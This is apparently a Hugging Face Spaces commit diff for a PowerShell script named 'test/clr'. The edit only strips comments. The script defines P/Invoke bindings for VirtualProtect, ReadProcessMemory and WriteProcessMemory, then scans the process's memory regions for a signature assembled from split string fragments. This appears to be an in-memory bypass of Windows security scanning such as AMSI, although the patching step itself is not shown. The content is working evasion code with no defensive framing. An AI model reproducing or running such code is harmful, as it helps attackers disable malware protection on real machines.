Spaces:
Runtime error
Runtime error
Update test/clr
Browse files
test/clr
CHANGED
@@ -1,9 +1,12 @@
|
|
1 |
-
|
2 |
$PAGE_READONLY = 0x02
|
|
|
3 |
$PAGE_READWRITE = 0x04
|
4 |
$PAGE_EXECUTE_READWRITE = 0x40
|
|
|
5 |
$PAGE_EXECUTE_READ = 0x20
|
6 |
$PAGE_GUARD = 0x100
|
|
|
7 |
$MEM_COMMIT = 0x1000
|
8 |
$MAX_PATH = 260
|
9 |
|
@@ -30,7 +33,7 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
|
|
30 |
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
31 |
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
|
32 |
|
33 |
-
|
34 |
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
|
35 |
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
|
36 |
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
|
@@ -42,7 +45,7 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
|
|
42 |
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
|
43 |
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
|
44 |
|
45 |
-
|
46 |
$TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
|
47 |
[void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
|
48 |
[void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
|
@@ -59,38 +62,38 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
|
|
59 |
[void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
|
60 |
$SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
|
61 |
|
62 |
-
|
63 |
$TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
|
64 |
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
65 |
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
|
66 |
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))
|
67 |
|
68 |
-
|
69 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
70 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
71 |
|
72 |
-
|
73 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
74 |
|
75 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
76 |
|
77 |
-
|
78 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
79 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
80 |
|
81 |
-
|
82 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
83 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
84 |
|
85 |
-
|
86 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
87 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
88 |
|
89 |
-
|
90 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
91 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
92 |
|
93 |
-
|
94 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
95 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
96 |
|
@@ -103,15 +106,15 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
|
|
103 |
$signature = [System.Text.Encoding]::UTF8.GetBytes($aa + $b + $l + $d)
|
104 |
$hProcess = [Win32.Kernel32]::GetCurrentProcess()
|
105 |
|
106 |
-
|
107 |
$sysInfo = New-Object Win32.SYSTEM_INFO
|
108 |
[void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)
|
109 |
|
110 |
-
|
111 |
$memoryRegions = @()
|
112 |
$address = [IntPtr]::Zero
|
113 |
|
114 |
-
|
115 |
while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {
|
116 |
$memInfo = New-Object Win32.MEMORY_INFO_BASIC
|
117 |
if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {
|
@@ -123,7 +126,7 @@ if ($PSVersionTable.PSVersion.Major -gt 2) {
|
|
123 |
|
124 |
$count = 0
|
125 |
|
126 |
-
|
127 |
foreach ($region in $memoryRegions) {
|
128 |
# Check if the region is readable and writable
|
129 |
if (-not (IsReadable $region.Protect $region.State)) {
|
|
|
1 |
+
|
2 |
$PAGE_READONLY = 0x02
|
3 |
+
|
4 |
$PAGE_READWRITE = 0x04
|
5 |
$PAGE_EXECUTE_READWRITE = 0x40
|
6 |
+
|
7 |
$PAGE_EXECUTE_READ = 0x20
|
8 |
$PAGE_GUARD = 0x100
|
9 |
+
|
10 |
$MEM_COMMIT = 0x1000
|
11 |
$MAX_PATH = 260
|
12 |
|
|
|
33 |
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
34 |
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
|
35 |
|
36 |
+
|
37 |
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
|
38 |
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
|
39 |
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
|
|
|
45 |
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
|
46 |
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
|
47 |
|
48 |
+
|
49 |
$TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
|
50 |
[void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
|
51 |
[void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
|
|
|
62 |
[void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
|
63 |
$SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
|
64 |
|
65 |
+
|
66 |
$TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
|
67 |
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
68 |
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
|
69 |
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))
|
70 |
|
71 |
+
|
72 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
73 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
74 |
|
75 |
+
|
76 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
77 |
|
78 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
79 |
|
80 |
+
|
81 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
82 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
83 |
|
84 |
+
|
85 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
86 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
87 |
|
88 |
+
|
89 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
90 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
91 |
|
92 |
+
|
93 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
94 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
95 |
|
96 |
+
|
97 |
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
|
98 |
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
99 |
|
|
|
106 |
$signature = [System.Text.Encoding]::UTF8.GetBytes($aa + $b + $l + $d)
|
107 |
$hProcess = [Win32.Kernel32]::GetCurrentProcess()
|
108 |
|
109 |
+
|
110 |
$sysInfo = New-Object Win32.SYSTEM_INFO
|
111 |
[void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)
|
112 |
|
113 |
+
|
114 |
$memoryRegions = @()
|
115 |
$address = [IntPtr]::Zero
|
116 |
|
117 |
+
|
118 |
while ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {
|
119 |
$memInfo = New-Object Win32.MEMORY_INFO_BASIC
|
120 |
if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {
|
|
|
126 |
|
127 |
$count = 0
|
128 |
|
129 |
+
|
130 |
foreach ($region in $memoryRegions) {
|
131 |
# Check if the region is readable and writable
|
132 |
if (-not (IsReadable $region.Protect $region.State)) {
|